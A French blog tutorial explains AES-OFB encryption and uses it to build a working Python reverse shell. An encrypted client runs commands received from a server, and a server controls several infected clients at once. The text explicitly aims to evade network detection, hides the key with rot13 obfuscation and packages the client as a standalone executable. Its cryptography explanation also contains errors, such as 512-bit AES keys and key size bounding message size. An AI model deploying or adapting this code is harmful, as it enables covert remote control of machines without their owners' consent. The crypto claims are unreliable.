Chiffrement symétrique et Reverse Shell

Reverse Shell, Ca plus et ça musse !

mzi.ogdgrbsf.175x175-75…soyez indulgent pour cette entrée en matière. Aujourd’hui, nous allons mieux comprendre les algorithmes de chiffrement symétrique. Vous vous rappelez le petit reverse shell que nous avions fait ici ? Et bien, reprenons cet exemple simple et ajoutons lui deux caractéristiques non négligeable le chiffrement des communications et le multi-clients.

Nous allons, en effet, faire en sorte qu’une commande s’exécute sur tous vos clients en même temps ! (classe, non?!) Et mieux, pour passer encore plus inaperçu à travers le réseau, nous allons chiffrer ces communications.

Niveau Management & Législation: Pour la culture générale
Niveau Technique : Faut s’accrocher !

On va chiffrer ! Sur une étoile ou sur…

Bon, j’avoue, je ne commence pas par le plus facile. Oui nous allons chiffrer ! Mais NON nous n’utiliserons pas SSL/TLS car l’objectif est de mieux appréhender le chiffrement symétrique. Nous regarderons les bases des algo de chiffrement symétrique, de l’encodage et des fonctions de hashage…”Nom d’une pipe en bois ! mais ça à l’air compliqué ton histoire” me direz vous. Pas d’inquiétude, j’explique !
Nous allons chiffrer nos communication en AES256 en utilisant une pre-shared-key (PSK).

Un peu de Cryptographie…

AES est un algorithme de chiffrement par bloc initialement appelé Rinjdael et remportant la palme au concours des Algorithm Encryption Standard, d’où sa nomination AES. Il chiffre des blocs de données inférieurs ou égaux à la taille de la clé utilisée soit 128bits, 192bits, 256bits ou 512bits.
La taille de la clé est toujours supérieure ou égale à la taille du message que l’on veut chiffrer, c’est un des principes de Shannon :  L’ordre de K est supérieur ou égal à l’ordre de C qui est supérieur ou égal à l’ordre de M

  • K = groupe fini pour les clés,
  • C = groupe fini pour les chiffrés,
  • M = groupe fini pour les clairs

Du coup, si je chiffre un fichier de 34 octets (272 bits) je vais avoir des problèmes puisque la taille de mon message est supérieure à la taille de ma clé (272bits > 258bits). C’est pour cela que l’on utilise un mode d’opération pour chaîner les blocs (CBC, OFB, etc.).
Je ne détaillerais pas tous les modes d’opération, un très bon article Wikipedia est là pour ça. Ici, nous allons utiliser le mode Output FeedBack (OFB) parce qu’il permet de faire du pré-calcul de clés dérivées…hmm, regardons le schéma dans un premier temps.

Wikipedia OFB encryption

Vous voyez que le texte clair (plaintext) est “mélangé” (grâce à un XOR)  à la sortie du bloc cipher encryption et que cette sortie est réutilisée en tant que vecteur d’initialisation sur le bloc sipher suivant. Cela nous permet, grâce à ce mode opératoire, de calculer à l’avance toute les sorties des blocs cipher. Résultat : un gain de temps considérable !

Nous avons donc besoin :

  1. D’une clé (Key)
  2. D’un vecteur d’initialisation (IV)
  3. D’un mode d’opération (OFB)
  4. D’une méthode de construction de padding

De quoi le padding ? Oui alors petite mention spéciale, on ne chiffre que des blocs de taille fixe, du coup, si votre bloc n’est pas complet, il faut le compléter…avec le padding.

Vous êtes prêts ?

Nous allons à présent créer des fonctions qui vont nous permettre de chiffrer des bloc de 128 bits (*) avec une clé de 256 bits. C’est parti ! attaquons nous d’abord aux fonctions de padding justement :

#Padding en base 16 (16*8 = 128bits)
BS = 16
#On complète le bloc avec notre padding
pad = lambda s: s + (BS - len(s)%BS) * chr(BS -len(s)%BS)
#On enlève le padding
unpad = lambda s : s[0:-ord(s[-1])]

(*) je n’ai pas trouvé, en python, comment augmenter la taille du bloc, si vous avez des idées, n’hésitez pas à les renseigner en commentaire pour la communauté…oui je suis très communautaire comme garçon.

Ensuite, pour nos fonctions de chiffrement, il vous faudra les librairies crypto de python :

def encrypt_data(msg,key):
  #Ajout du padding
  msg = pad(msg)
  #Création de l'IV
  iv = Random.new().read(AES.block_size)
  #Chiffrement AES en mode OFB
  cipher = AES.new(key, AES.MODE_OFB, iv)
  #Encodage de l'objet en base64
  msg = base64.b64encode(iv + cipher.encrypt(msg))
  return msg

def decrypt_data(msg,key):
  #Decodage base64
  msg = base64.b64decode(msg)
  #Récupération de l'IV
  iv = msg[:AES.bloc_size]
  #Déchiffrement (c'est symétrique)
  cipher = AES.new(key, AES.MODE_OFB, iv)
  #On enlève le padding
  msg = unpad(cipher.decrypt(msg[AES.block_size:]))
  return msg

Et, enfin, la création de notre clé en 256bits. A savoir que les fonctions AES python récupèrent la clé sous forme d’objet, nous allons donc le créer à travers une fonction de hashage (parce que beaucoup plus simple).

PSK = "p@ssword0x0c!%"
key = hashlib.sha256(PSK).digest()

Ces fonctions doivent être présentes sur le client ET le serveur, évidemment car l’algorithme est symétrique : la clé et le mode d’opération doivent donc se trouver des deux cotés.
Sur le client on a donc :

#!/usr/bin/python
import socket
import subprocess
import os, signal
from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import base64

URL = "127.0.0.1" # adresse du serveur
port = 443      # port
PSK = "p@ssword0x0c!%" # Pre-Shared Key
key = hashlib.sha256(PSK).digest()

#Padding en base 16 (16*8 = 128bits)
BS = 16
pad = lambda s: s + (BS - len(s)%BS) * chr(BS -len(s)%BS)
unpad = lambda s : s[0:-ord(s[-1])]

#Fonction de déchiffrement
def encrypt_data(msg,key):
  msg = pad(msg)
  iv = Random.new().read(AES.block_size)
  cipher = AES.new(key, AES.MODE_OFB, iv)
  msg = base64.b64encode(iv + cipher.encrypt(msg))
  return msg
#Fonction de chiffrement
def decrypt_data(msg,key):
  msg = base64.b64decode(msg)
  iv = msg[:AES.block_size]
  cipher = AES.new(key, AES.MODE_OFB, iv)
  msg = unpad(cipher.decrypt(msg[AES.block_size:]))
  return msg

#Fonction d'exécution de commande
def cmd(c):
  #On reçoit la commande de la part du serveur
  data = c.recv(4096)
  #On déchiffre
  data = decrypt_data(data,key)
  if data == "quit" or len(data) == 0:
    return True
  else:
    #On exécute la commande
    proc = subprocess.Popen(data,    
       shell=True,              
       stdout=subprocess.PIPE,  
       stderr=subprocess.PIPE,  
       stdin=subprocess.PIPE,   
       preexec_fn=os.setsid)
    #On récupère les données à envoyer au serveur
    stdout_value = proc.stdout.read() + proc.stderr.read()
    os.killpg(proc.pid, signal.SIGTERM)
    # On chiffre
    stdout_value = encrypt_data(stdout_value,key)
    # on renvoie
    c.send(stdout_value)
    return False
socket_died = False
while  not socket_died:
   client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   client.connect((URL,port))
   while not socket_died:
     socket_died=cmd(client)
   client.close()

 Oui mais du coup la PSK est en clair dans le code ?!

Judicieuse remarque, qu’à cela ne tienne, exécutons un petit encodage en rot13 avec ce script obfusc_file.py ci dessous. Ce petit script vous permet d’encoder un fichier en décalant chaque lettre de 13 dans l’alphabet : A devient NB devient O,..,Y devient LZ devient M. C’est de la transposition mono-alphabétique. De la même manière que le “Chiffre de César” sauf que lui utilisait un décalage de 3… c’te faignant !

#!/usr/bin/python
#import sys
fname=sys.argv[1]
FILE_IN=open(fname,"r")
#On récupère le contenu du fichier
for line in FILE_IN:
  data=data+line
#On encode
data = data.encode("rot13")
data = "# -*- coding: rot13 -*-\n"+data
#On écrit dans un nouveau fichier
FILE_OUT=open("obf_"+fname,"w")
FILE_OUT.write(data)
FILE_OUT.close()
---------------------------------------
python>> obfusc_file.py client.py

 

Oui mais le client doit avoir python non?

Et bien pas forcément. Il vous suffit d’en faire un exécutable tout simplement grâce à cx_freeze.
Il ne vous restera plus, ensuite, qu’à exécuter votre client comme un binaire normal. Ô joie!

Gestion simultané de clients

Pour la gestion simultanée de clients, vous n’aurez qu’à toucher au serveur. On ne touche plus au client, il est très bien comme ça.
L’idée est assez simple, vous ouvrez une liste de clients, vous attendez qu’ils se connectent et vous exécutez vos commandes à la file. Ce qui nous donne pour notre serveur définitif :

#!/usr/bin/python
import socket
import os
from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import base64

URL = "127.0.0.1" # l'adresse d'écoute de votre serveur
port = 443      # le port d'écoute de votre serveur
max_client=2      # nbr de clients simultanés souhaités

PSK = "p@ssword0x0c!%" # Pre-Shared Key
key = hashlib.sha256(PSK).digest()

#Padding en base 16 (16*8 = 128bits)
BS = 16
pad = lambda s: s + (BS - len(s)%BS) * chr(BS -len(s)%BS)
unpad = lambda s : s[0:-ord(s[-1])]

#Fonction de déchiffrement
def encrypt_data(msg,key):
  msg = pad(msg)
  iv = Random.new().read(AES.block_size)
  cipher = AES.new(key, AES.MODE_OFB, iv)
  msg = base64.b64encode(iv + cipher.encrypt(msg))
  return msg
#Fonction de chiffrement
def decrypt_data(msg,key):
  msg = base64.b64decode(msg)
  iv = msg[:AES.block_size]
  cipher = AES.new(key, AES.MODE_OFB, iv)
  msg = unpad(cipher.decrypt(msg[AES.block_size:]))
  return msg

#Création du serveur
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((URL,port))
server.listen(max_client)

#Liste des clients
clients=[]
clients_addr=[]
#Connexion des clients
i=1
while i <= max_client:
  cnx_client, cnx_info =server.accept()
  clients.append(cnx_client)
  clients_addr.append(cnx_info) 
  print cnx_info, " : Connection "+str(i)+"/"+str(max_client)
  i=i+1

cpt = max_client
#Ecoute du serveur tant qu'il y a des clients
while cpt > 0:
  msg = raw_input(">>")
  addr=0
  #Pour chaque client de la liste, faire
  for c in clients :
   if len(msg)>0:
     #si "quit" on quitte
     if msg == "quit":
       print("Quitting : ",clients_addr[addr])
       #On chiffre
       enc_msg = encrypt_data(msg,key)
       #On envoie
       c.send(enc_msg)
       #On supprime le client de la liste
       clients.remove(c)
       clients_addr.remove(clients_addr[addr])
       cpt=cpt-1   
     # si "&" on n'attend pas de retour
     elif msg[:-1]=="&":
       enc_msg=encrypt_data(msg,key) 
       c.send(enc_msg)
     else:
       #On chiffre
       enc_msg=encrypt_data(msg,key)
       #On envoie
       c.send(enc_msg)
       #On reçoit
       data = c.recv(4096)
       #On déchiffre
       data = decrypt_data(data,key)
       print clients_addr[addr],": "+data
  addr = addr + 1
server.close()

En espérant que ce post ait été utile, n’hésitez pas à mettre vos commentaires.